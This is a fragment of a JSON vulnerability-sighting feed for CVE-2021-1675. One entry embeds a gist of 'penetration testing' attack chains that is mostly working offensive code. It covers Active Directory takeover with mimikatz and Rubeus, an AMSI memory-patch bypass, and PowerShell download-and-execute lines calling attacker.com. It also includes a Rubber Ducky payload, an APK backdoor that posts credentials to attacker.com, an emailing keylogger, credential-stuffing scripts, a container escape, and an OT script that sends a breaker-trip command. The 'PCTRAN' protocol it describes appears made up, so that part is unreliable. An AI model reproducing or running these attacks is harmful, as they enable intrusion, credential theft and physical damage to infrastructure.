"Telegram/GLnJGRJ1b6yw9YuvIrVSy8JBX42WVxn_PDAHVocDHgMRjZ8", "content": "", "creation_timestamp": "2026-08-16T00:00:11.414001Z"}, {"uuid": "97093c59-cd4d-4622-85ad-b9b309bc4d12", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "exploited", "source": "Telegram/jy_CyhxbtEWlhnajCmyTd-hTeqgI9UJS5l_RVbH-38GWgO8", "content": "", "creation_timestamp": "2026-08-16T00:00:11.566452Z"}, {"uuid": "73e290a8-a6cb-461d-bf83-4802c82fb992", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-1675", "type": "seen", "source": "https://gist.github.com/bbrk364/668a69812b0cfe4bac2f698ddef34079", "content": "# Advanced Penetration Testing Scenarios & Attack Chains\n\nComprehensive attack scenarios covering network, web, mobile, physical, and OT security with detailed exploitation chains, tools, methodologies, and defense strategies for advanced penetration testing and red team exercises.\n\n---\n\n## Network Attack Scenarios\n\n### **Scenario #1: Complete Domain Compromise Chain**\n\n**Attack Chain:** `LLMNR Poisoning \u2192 AS-REP Roasting \u2192 ForceChangePassword \u2192 GenericWrite \u2192 Password Spraying \u2192 RunForrestRun \u2192 GPO Abuse \u2192 MSSQL \u2192 Domain Trust Abuse`\n\n#### **Step-by-Step Exploitation:**\n\n**1. LLMNR/NBT-NS Poisoning:**\n```bash\n# Using Responder\nsudo responder -I eth0 -w -r -d\n\n# Or using Inveigh\nImport-Module .\\Inveigh.ps1\nInvoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -Proxy Y\n\n# Capture NTLMv2 hashes\n# Wait for authentication attempts\n# Crack hashes with hashcat\nhashcat -m 5600 captured_hash.txt /usr/share/wordlists/rockyou.txt\n```\n\n**2. AS-REP Roasting:**\n```bash\n# Identify users with Kerberos pre-authentication disabled\npython3 GetNPUsers.py domain.local/ -usersfile users.txt -format hashcat -output hashes.asreproast\n\n# Or using Rubeus\n.\\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt\n\n# Crack with hashcat\nhashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt\n```\n\n**3. ForceChangePassword Abuse:**\n```powershell\n# Using PowerView\nImport-Module .\\PowerView.ps1\n\n# Check for ForceChangePassword rights\nGet-DomainObjectAcl -Identity targetuser | ? {$_.ActiveDirectoryRights -match \"WriteProperty\" -and $_.SecurityIdentifier -match \"S-1-5-21-.*-.*-.*-.*\"}\n\n# Set new password for user\n$newpass = ConvertTo-SecureString \"NewPassword123!\" -AsPlainText -Force\nSet-DomainUserPassword -Identity targetuser -AccountPassword $newpass\n\n# Or using Set-DomainUserPassword from PowerView\n```\n\n**4. GenericWrite Exploitation:**\n```powershell\n# Check for GenericWrite permissions\nGet-DomainObjectAcl -Identity targetuser | ? {$_.ActiveDirectoryRights -match \"GenericWrite\"}\n\n# Abuse with PowerView\n# Add user to privileged group\nAdd-DomainGroupMember -Identity \"Domain Admins\" -Members targetuser\n\n# Or set SPN for Kerberoasting\nSet-DomainObject -Identity targetuser -SET @{serviceprincipalname='none/existing'}\n.\\Rubeus.exe kerberoast /user:targetuser /outfile:hashes.txt\n```\n\n**5. Password Spraying:**\n```bash\n# Using CrackMapExec\ncrackmapexec smb targets.txt -u users.txt -p 'Spring2024!' --continue-on-success\n\n# Using DomainPasswordSpray\nImport-Module .\\DomainPasswordSpray.ps1\nInvoke-DomainPasswordSpray -UserList users.txt -Password 'Password123!' -Domain domain.local\n\n# Using Rubeus\n.\\Rubeus.exe brute /password:Password123! /noticket\n```\n\n**6. RunForrestRun.exe Privilege Escalation:**\n```powershell\n# Upload RunForrestRun.exe to compromised machine\n# Execute to spawn privileged process\n.\\RunForrestRun.exe powershell.exe\n\n# Or create service\nsc create \"WindowsUpdate\" binPath= \"C:\\temp\\RunForrestRun.exe cmd.exe\" start= auto\nsc start WindowsUpdate\n```\n\n**7. GPO Abuse:**\n```powershell\n# Using SharpGPOAbuse\n.\\SharpGPOAbuse.exe --AddComputerTask --TaskName \"Update\" --Author DOMAIN\\user --Command \"cmd.exe\" --Arguments \"/c net user hacker Password123! /add\" --GPOName \"VulnerableGPO\"\n\n# Or using PowerView\nNew-GPOImmediateTask -TaskName \"Update\" -Command \"cmd.exe\" -CommandArguments \"/c net localgroup administrators user /add\" -GPODisplayName \"Default Domain Policy\"\n```\n\n**8. MSSQL Service Abuse:**\n```powershell\n# Using PowerUpSQL\nImport-Module .\\PowerUpSQL.ps1\n\n# Find SQL instances\nGet-SQLInstanceDomain\n\n# Check for xp_cmdshell\nInvoke-SQLCmd -Query \"EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE\" -Instance \"sqlserver.domain.local\"\n\n# Execute commands\nInvoke-SQLCmd -Query \"EXEC xp_cmdshell 'whoami'\" -Instance \"sqlserver.domain.local\"\n\n# Or escalate via linked servers\nGet-SQLServerLinkCrawl -Instance \"sqlserver.domain.local\" -Query \"EXEC master..xp_cmdshell 'whoami'\"\n```\n\n**9. Domain Trust Abuse:**\n```powershell\n# Enumerate trusts\nGet-DomainTrust\nGet-DomainTrustMapping\n\n# Using Mimikatz for trust attacks\nmimikatz # lsadump::trust /patch\nmimikatz # lsadump::dcsync /domain:child.domain.local /user:krbtgt\n\n# Golden ticket for child domain\nmimikatz # kerberos::golden /user:Administrator /domain:child.domain.local /sid:S-1-5-21... /krbtgt:HASH /sids:S-1-5-21...-519 /ptt\n```\n\n### **Scenario #2: Service-Based Privilege Escalation Chain**\n\n**Attack Chain:** `Service Permission \u2192 ForceChangePassword \u2192 ACL Abuse \u2192 SQL Instance Abuse \u2192 Service Abuse \u2192 Pass-the-Ticket \u2192 Golden Ticket`\n\n#### **Step-by-Step Exploitation:**\n\n**1. Service Permission Enumeration:**\n```powershell\n# Check for vulnerable services\n.\\accesschk.exe /accepteula -uwcqv \"Authenticated Users\" *\n.\\accesschk.exe -ucqv * /accepteula\n\n# Using PowerUp\nImport-Module .\\PowerUp.ps1\nGet-ModifiableService\n\n# Or manually check\nGet-WmiObject win32_service | Select Name, PathName, StartName | Where {$_.PathName -like \"* *\"}\n```\n\n**2. Service Binary Replacement:**\n```powershell\n# Replace service binary\nsc config \"VulnerableService\" binPath= \"C:\\temp\\malicious.exe\"\n\n# Or use PowerUp\nWrite-ServiceBinary -ServiceName \"VulnerableService\" -UserName \"NT AUTHORITY\\SYSTEM\"\n\n# Restart service\nsc stop VulnerableService\nsc start VulnerableService\n```\n\n**3. ACL Abuse for Privilege Escalation:**\n```powershell\n# Check for interesting ACLs\nImport-Module .\\PowerView.ps1\n\n# Find users with GenericAll/WriteDACL\nGet-DomainObjectAcl -SearchBase \"CN=Computers,DC=domain,DC=local\" | ? {$_.ActiveDirectoryRights -match \"GenericAll|WriteDacl|WriteOwner\"}\n\n# Abuse GenericAll on computer object\nAdd-DomainObjectAcl -TargetIdentity \"COMPUTER$\" -PrincipalIdentity user -Rights All\n\n# Then use RBCD\nSet-DomainObject -Identity \"COMPUTER$\" -Set @{'msds-allowedtoactonbehalfofotheridentity'='...'}\n```\n\n**4. SQL Instance Lateral Movement:**\n```powershell\n# Using PowerUpSQL\nGet-SQLInstanceDomain -Verbose\n\n# Check for sysadmin access\nGet-SQLServerLinkCrawl -Instance \"sqlserver.domain.local\" -Verbose\n\n# Enable xp_cmdshell and execute\nInvoke-SQLCmd -Instance \"sqlserver.domain.local\" -Query \"EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE\"\n\n# Execute commands on SQL server\nInvoke-SQLCmd -Instance \"sqlserver.domain.local\" -Query \"EXEC xp_cmdshell 'powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(''http://attacker.com/payload.ps1'')'\"\n```\n\n**5. Pass-the-Ticket Attack:**\n```powershell\n# Using Mimikatz\nmimikatz # sekurlsa::tickets /export\n\n# Or using Rubeus\n.\\Rubeus.exe dump /nowrap\n\n# Pass the ticket\n.\\Rubeus.exe ptt /ticket:base64_ticket\n\n# Or using Mimikatz\nmimikatz # kerberos::ptt ticket.kirbi\n```\n\n**6. Golden Ticket Creation:**\n```powershell\n# Dump krbtgt hash\nmimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt\n\n# Create golden ticket\nmimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-... /krbtgt:HASH /ptt\n\n# Access domain resources\ndir \\\\dc01.domain.local\\c$\n```\n\n### **Scenario #3: Delegation-Based Attack Chain**\n\n**Attack Chain:** `Always Elevated \u2192 Constrained Delegation \u2192 Unconstrained Delegation Print Bug \u2192 Cross Trust \u2192 MSSQL Service Abuse`\n\n#### **Step-by-Step Exploitation:**\n\n**1. Always Elevated Privileges:**\n```powershell\n# Check for Always Elevated installations\nGet-CimInstance -ClassName Win32_Product | Where Name -like \"*Always*\"\n\n# Or check registry\nGet-ItemProperty -Path \"HKLM:\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\" -Name \"LocalAccountTokenFilterPolicy\"\n\n# Abuse via scheduled tasks\nschtasks /create /tn \"Update\" /tr \"C:\\Windows\\System32\\cmd.exe /c net user hacker Password123! /add\" /sc once /st 00:00 /ru SYSTEM\nschtasks /run /tn \"Update\"\n```\n\n**2. Constrained Delegation Abuse:**\n```powershell\n# Find computers with constrained delegation\nGet-DomainComputer -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto\n\n# Using Rubeus\n.\\Rubeus.exe s4u /user:serviceaccount /rc4:HASH /impersonateuser:administrator /msdsspn:cifs/dc01.domain.local /altservice:http /ptt\n\n# Or get TGS\n.\\Rubeus.exe s4u /user:serviceaccount /aes256:AES256_HASH /impersonateuser:administrator /msdsspn:cifs/dc01.domain.local /ptt\n```\n\n**3. Unconstrained Delegation & Print Bug:**\n```powershell\n# Find computers with unconstrained delegation\nGet-DomainComputer -Unconstrained | Select-Object samaccountname\n\n# Using Rubeus for printer bug\n.\\Rubeus.exe monitor /interval:5 /filteruser:DC01$\n\n# On another machine, force authentication\n.\\SpoolSample.exe dc01.domain.local attacker.domain.local\n\n# Extract tickets from memory\nmimikatz # sekurlsa::tickets /export\n```\n\n**4. Cross Trust Attacks:**\n```powershell\n# Enumerate trust relationships\nGet-DomainTrustMapping\n\n# Check for SID filtering\nGet-DomainTrust -Domain external.domain.local | Select-Object SourceName, TargetName, SidFilteringQuarantined\n\n# If SID filtering disabled, use SID History\n# Create golden ticket with SID History\nmimikatz # kerberos::golden /user:Administrator /domain:child.domain.local /sid:SID /sids:S-1-5-21...-519 /krbtgt:HASH /ptt\n```\n\n**5. MSSQL Trusted Link Abuse:**\n```powershell\n# Crawl linked servers\nGet-SQLServerLinkCrawl -Instance \"sqlserver.domain.local\" -Verbose\n\n# Execute commands through chain\n$query = \"\nSELECT * FROM OPENQUERY(\\\"LINKEDSERVER\\\", \n    'SELECT * FROM OPENQUERY(\\\"ANOTHERLINK\\\", \n        ''EXEC master..xp_cmdshell \\\"whoami\\\"'')'\n)\"\nInvoke-SQLCmd -Instance \"sqlserver.domain.local\" -Query $query\n```\n\n### **Scenario #4: AMSI Bypass to Domain Compromise**\n\n**Attack Chain:** `Bypass AMSI \u2192 Always Elevated \u2192 Constrained Delegation \u2192 Pass-the-Ticket \u2192 SQL Instance Abuse \u2192 GPO Abuse \u2192 DCSync Attack`\n\n#### **Step-by-Step Exploitation:**\n\n**1. AMSI Bypass:**\n```powershell\n# Common AMSI bypass techniques\n# Method 1: Patch AMSI\n[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)\n\n# Method 2: Memory patch\n$win32 = @\"\nusing System;\nusing System.Runtime.InteropServices;\npublic class Win32 {\n    [DllImport(\"kernel32\")]\n    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);\n    [DllImport(\"kernel32\")]\n    public static extern IntPtr LoadLibrary(string name);\n    [DllImport(\"kernel32\")]\n    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);\n}\n\"@\n\nAdd-Type $win32\n$ptr = [Win32]::GetProcAddress([Win32]::LoadLibrary(\"amsi.dll\"), \"AmsiScanBuffer\")\n[Win32]::VirtualProtect($ptr, [uint32]5, 0x40, [ref]0)\n$buf = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)\n[System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $ptr, 6)\n```\n\n**2. Always Elevated Service Abuse:**\n```powershell\n# Find Always Elevated services\nGet-WmiObject -Class Win32_Service | Where-Object {$_.PathName -like \"*Always*\"} | Select Name, PathName, StartName\n\n# Replace service binary\nsc config \"AlwaysElevatedService\" binPath= \"C:\\temp\\malicious.exe\"\nsc stop AlwaysElevatedService\nsc start AlwaysElevatedService\n```\n\n**3. Constrained Delegation Exploitation:**\n```powershell\n# Using Rubeus\n.\\Rubeus.exe asktgt /user:serviceaccount /rc4:HASH /domain:domain.local /outfile:service.ticket\n\n# Get service ticket for CIFS\n.\\Rubeus.exe s4u /ticket:service.ticket /impersonateuser:administrator /msdsspn:cifs/dc01.domain.local /altservice:http /ptt\n```\n\n**4. SQL Instance Privilege Escalation:**\n```powershell\n# Check for sysadmin role\nInvoke-SQLCmd -Instance \"sqlserver.domain.local\" -Query \"SELECT IS_SRVROLEMEMBER('sysadmin')\"\n\n# If sysadmin, enable xp_cmdshell\nInvoke-SQLCmd -Instance \"sqlserver.domain.local\" -Query \"\nEXEC sp_configure 'show advanced options', 1;\nRECONFIGURE;\nEXEC sp_configure 'xp_cmdshell', 1;\nRECONFIGURE\"\n\n# Execute commands\nInvoke-SQLCmd -Instance \"sqlserver.domain.local\" -Query \"EXEC xp_cmdshell 'whoami'\"\n```\n\n**5. GPO-Based Persistence:**\n```powershell\n# Create malicious scheduled task via GPO\n.\\SharpGPOAbuse.exe --AddComputerTask --TaskName \"WindowsUpdate\" --Author \"DOMAIN\\user\" --Command \"cmd.exe\" --Arguments \"/c powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')\" --GPOName \"Default Domain Policy\"\n\n# Or using PowerView\nNew-GPOImmediateTask -TaskName \"Update\" -Command \"powershell.exe\" -CommandArguments \"-ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')\" -GPODisplayName \"Default Domain Policy\"\n```\n\n**6. DCSync Attack:**\n```powershell\n# Using Mimikatz\nmimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt\nmimikatz # lsadump::dcsync /domain:domain.local /user:administrator\n\n# Using secretsdump.py from Impacket\npython3 secretsdump.py domain.local/user:password@dc01.domain.local\n\n# Using PowerView\nInvoke-DCSync -PWDumpFormat -Users @(\"administrator\", \"krbtgt\")\n```\n\n---\n\n## Web Application Attack Scenarios\n\n### **Scenario #1: SQLi to Root Chain**\n\n**Attack Chain:** `SQL Injection \u2192 RCE \u2192 Capabilities Abuse`\n\n#### **Step-by-Step Exploitation:**\n\n**1. SQL Injection Discovery:**\n```bash\n# Basic SQLi testing\nsqlmap -u \"http://target.com/page?id=1\" --batch\n\n# Time-based blind SQLi\nsqlmap -u \"http://target.com/search\" --data=\"query=test\" --technique=T --batch\n\n# Union-based SQLi\nsqlmap -u \"http://target.com/product/1\" --union-cols=3 --batch\n```\n\n**2. Database Enumeration:**\n```bash\n# Get database version\nsqlmap -u \"http://target.com/page?id=1\" --banner\n\n# List databases\nsqlmap -u \"http://target.com/page?id=1\" --dbs\n\n# List tables\nsqlmap -u \"http://target.com/page?id=1\" -D appdb --tables\n\n# Dump sensitive data\nsqlmap -u \"http://target.com/page?id=1\" -D appdb -T users --dump\n```\n\n**3. File System Access:**\n```bash\n# Read files (MySQL)\nsqlmap -u \"http://target.com/page?id=1\" --file-read=\"/etc/passwd\"\n\n# Write files (MySQL)\nsqlmap -u \"http://target.com/page?id=1\" --file-write=\"/tmp/shell.php\" --file-dest=\"/var/www/html/shell.php\"\n\n# OS command execution\nsqlmap -u \"http://target.com/page?id=1\" --os-shell\n```\n\n**4. Web Shell Upload:**\n```php\n\n```\n\n**5. Capabilities Abuse for Privilege Escalation:**\n```bash\n# Check for SUID binaries\nfind / -perm -4000 -type f 2>/dev/null\n\n# Check capabilities\ngetcap -r / 2>/dev/null\n\n# Example: Python with CAP_SETUID\npython3 -c 'import os; os.setuid(0); os.system(\"/bin/bash\")'\n\n# Example: Perl with capabilities\nperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec \"/bin/bash\";'\n```\n\n### **Scenario #2: XXE to Domain Compromise**\n\n**Attack Chain:** `XXE \u2192 LFI \u2192 RCE \u2192 Service Abuse \u2192 MSSQL Instance Abuse`\n\n#### **Step-by-Step Exploitation:**\n\n**1. XXE Discovery:**\n```xml\n\n\n ]>\n&xxe;\n\n\n\n\n%dtd;\n]>\n&send;\n```\n\n**2. Local File Inclusion via XXE:**\n```xml\n\n\n\n\n%dtd;\n]>\n&exfil;\n\n\n\">\n%all;\n```\n\n**3. RCE via XXE (Expect extension):**\n```xml\n\n\n\n]>\n&cmd;\n```\n\n**4. Service Discovery & Abuse:**\n```bash\n# Network scanning from compromised host\nnmap -sS -p 22,80,443,445,3389,1433,3306 10.0.0.0/24\n\n# Check for MSSQL\n/opt/impacket/examples/mssqlclient.py domain/user:password@10.0.0.10\n\n# Check for SMB shares\nsmbclient -L //10.0.0.10/ -U domain/user%password\n```\n\n**5. MSSQL Instance Exploitation:**\n```sql\n-- Enable xp_cmdshell\nEXEC sp_configure 'show advanced options', 1;\nRECONFIGURE;\nEXEC sp_configure 'xp_cmdshell', 1;\nRECONFIGURE;\n\n-- Execute commands\nEXEC xp_cmdshell 'whoami';\n\n-- Create backdoor user\nEXEC xp_cmdshell 'net user hacker Password123! /add';\nEXEC xp_cmdshell 'net localgroup administrators hacker /add';\n```\n\n---\n\n## Mobile Application Attack Scenarios\n\n### **Scenario #1: APK to Credential Compromise**\n\n**Attack Chain:** `Evil APK \u2192 SQLite Database Access \u2192 Credential Stuffing`\n\n#### **Step-by-Step Exploitation:**\n\n**1. APK Analysis & Reverse Engineering:**\n```bash\n# Decompile APK\napktool d app.apk -o decompiled/\n\n# Extract classes.dex\nunzip app.apk classes.dex\n\n# Convert dex to jar\nd2j-dex2jar.sh classes.dex\n\n# Analyze with JD-GUI or jadx\njadx app.apk\n```\n\n**2. SQLite Database Examination:**\n```bash\n# Find database files in decompiled APK\nfind decompiled/ -name \"*.db\" -o -name \"*.sqlite\" -o -name \"*.db3\"\n\n# Extract database from device\nadb pull /data/data/com.package.app/databases/app.db\n\n# Query database\nsqlite3 app.db\nsqlite> .tables\nsqlite> SELECT * FROM users;\n```\n\n**3. Credential Extraction:**\n```python\nimport sqlite3\nimport hashlib\nimport requests\n\n# Connect to database\nconn = sqlite3.connect('app.db')\ncursor = conn.cursor()\n\n# Extract credentials\ncursor.execute(\"SELECT username, password FROM users\")\ncredentials = cursor.fetchall()\n\n# Try credential stuffing\nfor username, password in credentials:\n    # Try on common services\n    targets = [\n        \"https://mail.service.com/login\",\n        \"https://vpn.company.com/auth\",\n        \"https://admin.portal.com/login\"\n    ]\n    \n    for target in targets:\n        response = requests.post(target, data={\n            'username': username,\n            'password': password\n        })\n        \n        if response.status_code == 200 and \"dashboard\" in response.text:\n            print(f\"[+] Valid credentials: {username}:{password} for {target}\")\n```\n\n**4. Network Traffic Analysis:**\n```bash\n# Intercept mobile app traffic\n# Setup mitmproxy\nmitmproxy -p 8080\n\n# Configure device to use proxy\n# Install mitmproxy certificate\n\n# Analyze API endpoints and authentication\n```\n\n**5. Code Injection via Repackaging:**\n```java\n// Add malicious code to decompiled APK\n// In MainActivity.java\npublic void onCreate(Bundle savedInstanceState) {\n    super.onCreate(savedInstanceState);\n    \n    // Original code...\n    \n    // Malicious addition - send credentials to attacker\n    new Thread(new Runnable() {\n        public void run() {\n            try {\n                String credentials = getCredentials();\n                URL url = new URL(\"http://attacker.com/steal\");\n                HttpURLConnection conn = (HttpURLConnection) url.openConnection();\n                conn.setRequestMethod(\"POST\");\n                conn.setDoOutput(true);\n                conn.getOutputStream().write(credentials.getBytes());\n            } catch (Exception e) {\n                e.printStackTrace();\n            }\n        }\n    }).start();\n}\n```\n\n---\n\n## Physical Security Attack Scenarios\n\n### **Scenario #1: USB to Domain Admin**\n\n**Attack Chain:** `USB Rubber Ducky \u2192 Malware Deployment \u2192 GPO Abuse \u2192 Pass-the-Hash \u2192 Kerberoasting \u2192 Golden Ticket`\n\n#### **Step-by-Step Exploitation:**\n\n**1. USB Rubber Ducky Payload:**\n```bash\n# Ducky Script for initial access\nDELAY 2000\nGUI r\nDELAY 500\nSTRING powershell -w h -NoP -NonI -Exec Bypass -c \"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')\"\nENTER\n```\n\n**2. Initial Malware Deployment:**\n```powershell\n# PowerShell payload\n# Download and execute Cobalt Strike beacon\n$url = \"http://attacker.com/beacon.exe\"\n$output = \"$env:TEMP\\svchost.exe\"\nInvoke-WebRequest -Uri $url -OutFile $output\nStart-Process $output -WindowStyle Hidden\n\n# Or Empire agent\nIEX (New-Object Net.WebClient).DownloadString('http://attacker.com/Empire.ps1')\n```\n\n**3. GPO Modification for Persistence:**\n```powershell\n# Check GPO permissions\nGet-DomainObjectAcl -SearchBase \"CN=Policies,CN=System,DC=domain,DC=local\" | Where-Object {$_.SecurityIdentifier -match \"S-1-5-21.*\"}\n\n# Modify GPO to add startup script\n$gpo = Get-DomainGPO -Identity \"Default Domain Policy\"\n$gpo | Set-DomainObject -Set @{gPCFileSysPath=\"\\\\domain.local\\sysvol\\domain.local\\Policies\\{GUID}\\User\\Scripts\\Logon\"}\n```\n\n**4. Pass-the-Hash for Lateral Movement:**\n```bash\n# Using CrackMapExec\ncrackmapexec smb 10.0.0.0/24 -u Administrator -H aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0\n\n# Using psexec from Impacket\npython3 psexec.py domain/Administrator@10.0.0.10 -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0\n```\n\n**5. Kerberoasting:**\n```powershell\n# Using Rubeus\n.\\Rubeus.exe kerberoast /outfile:hashes.txt\n\n# Using Impacket\npython3 GetUserSPNs.py domain.local/user:password -dc-ip 10.0.0.1 -request\n\n# Crack hashes\nhashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt\n```\n\n**6. Golden Ticket Creation:**\n```powershell\n# Dump krbtgt hash\nmimikatz # lsadump::dcsync /domain:domain.local /user:krbtgt\n\n# Create golden ticket\nmimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21... /krbtgt:HASH /ptt\n\n# Access domain controller\ndir \\\\dc01.domain.local\\c$\\\n```\n\n### **Scenario #2: Shoulder Surfing to Domain Persistence**\n\n**Attack Chain:** `Shoulder Surfing \u2192 Malware Installation \u2192 PrintNightmare \u2192 Pass-the-Hash \u2192 Silver Ticket`\n\n#### **Step-by-Step Exploitation:**\n\n**1. Credential Harvesting via Shoulder Surfing:**\n```python\n# Simple keylogger (educational purposes only)\nimport keyboard\nimport smtplib\nfrom threading import Timer\nfrom datetime import datetime\n\nclass Keylogger:\n    def __init__(self, interval, email, password):\n        self.interval = interval\n        self.email = email\n        self.password = password\n        self.log = \"\"\n        \n    def callback(self, event):\n        self.log += event.name\n        \n    def report(self):\n        if self.log:\n            # Send email with captured data\n            server = smtplib.SMTP(\"smtp.gmail.com\", 587)\n            server.starttls()\n            server.login(self.email, self.password)\n            server.sendmail(self.email, self.email, self.log)\n            server.quit()\n        self.log = \"\"\n        Timer(self.interval, self.report).start()\n        \n    def start(self):\n        keyboard.on_release(callback=self.callback)\n        self.report()\n        keyboard.wait()\n```\n\n**2. PrintNightmare Exploitation:**\n```bash\n# Using Impacket's printbug\npython3 printerbug.py domain/user:password@target.domain.local attacker@80\n\n# Or using CVE-2021-1675 exploit\n.\\CVE-2021-1675.ps1\nInvoke-Nightmare -DriverName \"Xerox\" -NewUser \"hacker\" -NewPassword \"Password123!\"\n```\n\n**3. Silver Ticket Creation:**\n```powershell\n# Get service account hash\nmimikatz # sekurlsa::logonpasswords\n\n# Create silver ticket for specific service\nmimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21... /target:sqlserver.domain.local /service:MSSQLSvc /rc4:SERVICE_HASH /ptt\n\n# Access SQL service\npython3 mssqlclient.py -k -no-pass sqlserver.domain.local\n```\n\n---\n\n## OT (Operational Technology) Attack Scenarios\n\n### **Scenario #1: Mail Server to OT Control**\n\n**Attack Chain:** `Mail Server Compromise \u2192 VDI Capabilities Abuse \u2192 SMPTRAP Service Abuse \u2192 DCSync Attack \u2192 Silver Ticket \u2192 Credential Stuffing \u2192 PCTRAN \u2192 Pods Misconfiguration`\n\n#### **Step-by-Step Exploitation:**\n\n**1. Mail Server Initial Access:**\n```bash\n# Common mail server attacks\n# SMTP user enumeration\npython3 smtp-user-enum.py -M VRFY -U users.txt -t mail.server.com\n\n# IMAP/POP3 brute force\nhydra -L users.txt -P passwords.txt imap://mail.server.com\nhydra -L users.txt -P passwords.txt pop3://mail.server.com\n\n# Exchange vulnerabilities\n# ProxyLogon (CVE-2021-26855)\npython3 proxylogon.py mail.server.com -t webshell.aspx\n```\n\n**2. VDI (Virtual Desktop Infrastructure) Abuse:**\n```powershell\n# Check for VDI capabilities\nGet-WmiObject -Class Win32_ComputerSystem | Select-Object Model\n\n# If Citrix or VMware detected\n# Look for published applications\nGet-ChildItem \"C:\\Program Files (x86)\\Citrix\\*\" -Recurse -ErrorAction SilentlyContinue\n\n# Check for saved credentials\ncmdkey /list\n```\n\n**3. SMPTRAP Service Exploitation:**\n```bash\n# SNMP service enumeration\nsnmpwalk -c public -v1 ot.device.com\nsnmpwalk -c private -v1 ot.device.com\n\n# Common SNMP communities in OT:\n# public, private, read, write, admin, monitor\n\n# Write access exploitation\nsnmpset -v1 -c private ot.device.com .1.3.6.1.2.1.1.6.0 s \"HACKED\"\n```\n\n**4. DCSync Attack in OT Domain:**\n```powershell\n# Check for Domain Controller in OT network\nnslookup _ldap._tcp.dc._msdcs.ot.domain.local\n\n# Using Mimikatz for DCSync\nmimikatz # lsadump::dcsync /domain:ot.domain.local /user:krbtgt\nmimikatz # lsadump::dcsync /domain:ot.domain.local /user:administrator\n```\n\n**5. Silver Ticket for OT Services:**\n```powershell\n# Create silver ticket for SCADA/HMI services\nmimikatz # kerberos::golden /user:OTAdmin /domain:ot.domain.local /sid:SID /target:scada.ot.domain.local /service:Vendorservice /rc4:SERVICE_HASH /ptt\n\n# Access SCADA system\n# Using vendor-specific client with captured credentials\n```\n\n**6. Credential Stuffing Across OT Systems:**\n```python\nimport requests\nimport paramiko\n\n# Common OT default credentials\ndefault_creds = [\n    (\"admin\", \"admin\"),\n    (\"administrator\", \"password\"),\n    (\"root\", \"root\"),\n    (\"guest\", \"guest\"),\n    (\"operator\", \"operator\"),\n    (\"tech\", \"tech\"),\n    (\"service\", \"service\"),\n]\n\n# Try across common OT protocols and ports\ntargets = [\n    (\"scada.ot.local\", 502, \"modbus\"),\n    (\"plc.ot.local\", 102, \"s7\"),\n    (\"hmi.ot.local\", 3389, \"rdp\"),\n    (\"rtu.ot.local\", 22, \"ssh\"),\n]\n\nfor target, port, protocol in targets:\n    for username, password in default_creds:\n        if protocol == \"ssh\":\n            try:\n                ssh = paramiko.SSHClient()\n                ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n                ssh.connect(target, port=port, username=username, password=password, timeout=5)\n                print(f\"[+] SSH credentials valid: {username}:{password}@{target}:{port}\")\n                ssh.close()\n            except:\n                pass\n```\n\n**7. PCTRAN Protocol Exploitation:**\n```python\n# PCTRAN (Power Control Transmission) protocol attacks\n# Often used in power grid systems\n\nimport socket\n\ndef pctran_command(target, command):\n    \"\"\"Send PCTRAN command to target\"\"\"\n    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n    sock.connect((target, 2404))  # Common PCTRAN port\n    \n    # Craft malicious PCTRAN packet\n    packet = b\"\\x02\"  # STX\n    packet += command.encode()\n    packet += b\"\\x03\"  # ETX\n    \n    sock.send(packet)\n    response = sock.recv(1024)\n    sock.close()\n    return response\n\n# Example: Trip circuit breaker\nresponse = pctran_command(\"gridcontroller.ot.local\", \"TRIP CB 12\")\n```\n\n**8. Kubernetes Pod Misconfiguration in OT:**\n```bash\n# Check for exposed Kubernetes API in OT network\nnmap -p 6443,8080,8443 10.0.0.0/24\n\n# If found, check for misconfigurations\nkubectl get pods --all-namespaces\nkubectl get secrets --all-namespaces\n\n# Common OT pod misconfigurations:\n# 1. Running as root\n# 2. Privileged containers\n# 3. Host network access\n# 4. Host PID namespace\n# 5. Missing resource limits\n\n# Example exploit - escape to host\ncat > malicious-pod.yaml << EOF\napiVersion: v1\nkind: Pod\nmetadata:\n  name: malicious-pod\nspec:\n  hostPID: true\n  containers:\n  - name: malicious\n    image: alpine\n    command: [\"nsenter\", \"--mount=/proc/1/ns/mnt\", \"--\", \"bash\"]\n    securityContext:\n      privileged: true\nEOF\n\nkubectl apply -f malicious-pod.yaml\n```\n\n---\n\n## Defense & Mitigation Strategies\n\n### **Network Defense**\n\n```bash\n# Monitor for LLMNR/NBT-NS poisoning\n# Disable LLMNR and NBT-NS\n# Use PowerShell logging\nGet-WinEvent -FilterHashtable 